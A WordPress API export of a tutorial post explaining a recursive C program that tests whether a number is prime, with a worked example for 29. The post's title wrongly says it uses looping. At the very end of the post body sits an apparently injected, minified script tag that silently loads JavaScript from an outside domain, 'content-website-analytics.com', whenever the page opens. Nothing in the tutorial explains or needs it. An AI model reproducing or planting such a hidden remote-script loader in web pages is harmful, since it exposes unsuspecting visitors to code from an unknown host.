{"id":552,"date":"2025-11-21T08:53:09","date_gmt":"2025-11-21T03:23:09","guid":{"rendered":"https:\/\/codexplained.in\/?p=552"},"modified":"2025-11-21T08:53:09","modified_gmt":"2025-11-21T03:23:09","slug":"check-prime-no-use-by-looping","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=552","title":{"rendered":"Check Prime no. Use by looping"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\n\/\/ Function to check if a number is prime using recursion\nint isPrime(int num, int i) \n{\n    \/\/ Base cases\n    if (num &lt;= 2) \n{\n        if (num == 2) \n{\n            return 1;  \/\/ 2 is a prime number\n        } else {\n            return 0;  \/\/ Numbers less than 2 are not prime\n        }\n    }\n    \n    if (num % i == 0) \n{\n        return 0;  \/\/ If num is divisible by i, it&#039;s not prime\n    }\n\n    if (i * i &gt; num) \n{\n        return 1;  \/\/ If no divisors are found, num is prime\n    }\n\n    \/\/ Recursive call: increment i to check the next possible divisor\n    return isPrime(num, i + 1);\n}\n\nint main() \n{\n    int num;\n\n    \/\/ Input the number from user\n    printf(&quot;Enter a positive integer: &quot;);\n    scanf(&quot;%d&quot;, &amp;num);\n\n    \/\/ Check if the number is prime and print result\n    if (isPrime(num, 2)) {\n        printf(&quot;%d is a prime number.\\n&quot;, num);\n    } \n\telse \n    {\n        printf(&quot;%d is not a prime number.\\n&quot;, num);\n    }\n\n    return 0;\n}\n\n\n<\/pre><\/div>\n\n\n<p>*<strong>example<\/strong>&#8211;<\/p>\n\n\n\n<p>-&gt;Enter a positive integer: 29<br>=29 is a prime number<\/p>\n\n\n\n<p>*<strong>explanation<\/strong><\/p>\n\n\n\n<p>1) isPrime Function:<\/p>\n\n\n\n<p>=This function takes two arguments: the number num and a divisor i that starts from 2.<br>=Base Case 1: If the number num is less than or equal to 2:<br>=If num is 2, it&#8217;s a prime number, so return 1 (true).<br>=If num is less than 2 (such as 0 or 1), it&#8217;s not prime, so return 0 (false).<br>=Base Case 2: If num is divisible by i, meaning num % i == 0, then num is not prime, and we return 0 (false).<br>=Base Case 3: If i * i exceeds num, it means we&#8217;ve checked all possible divisors up to the square root of num, and since no divisors were found, we return 1 (true), declaring num as prime.<br>=Recursive Call: The function calls itself, incrementing i by 1 each time to check the next possible divisor.<\/p>\n\n\n\n<p>2) Main Function:<\/p>\n\n\n\n<p>=The user is prompted to input a number.<br>=The is Prime function is called with the user input and 2 as the starting divisor.<br>=Based on the result of the is Prime function, a message is printed to indicate whether the number is prime or not.<\/p>\n\n\n\n<p>*<strong>How Recursion Works<\/strong><\/p>\n\n\n\n<p>Recursion means that a function calls itself until a specific condition is met. In this program, we recursively check for divisors of the input number. The base cases ensure that the recursion terminates when either:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The number is determined to be not prime (by finding a divisor).<br>All potential divisors have been checked and no divisors have been found, confirming that the number is prime.<\/li>\n<\/ul>\n\n\n\n<p>*<strong>Example Walkthrough<\/strong><\/p>\n\n\n\n<p>Let&#8217;s check if 29 is prime:<\/p>\n\n\n\n<p>=First, is Prime(29, 2) is called. Since 29 is not divisible by 2 and 2 * 2 is not greater than 29, the recursion continues.<br>=Then is Prime(29, 3) is called. Since 29 is not divisible by 3 and 3 * 3 is not greater than 29, the recursion continues.<br>=The process repeats for i = 4 and i = 5.<br>=Finally, is Prime(29, 6) is called. Since 6 * 6 (which is 36) is greater than 29, the function returns 1, meaning 29 is prime.<\/p>\n\n\n\n<p>*Thus, the program correctly identifies 29 as a prime number.<\/p>\n\n\n\n<p>By using recursion, the program efficiently checks divisibility up to the square root of the input number.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>*example&#8211; -&gt;Enter a positive integer: 29=29 is a prime number *explanation 1) isPrime Function: =This function takes two arguments: the number num and a divisor i that starts from 2.=Base Case 1: If the number num is less than or equal to 2:=If num is 2, it&#8217;s a prime number, so return 1 (true).=If num [&hellip;]<\/p>\n","protected":false},"author":45,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-552","post","type-post","status-publish","format-standard","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/552","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/45"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=552"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/552\/revisions"}],"predecessor-version":[{"id":1234,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/552\/revisions\/1234"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=552"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=552"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=552"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}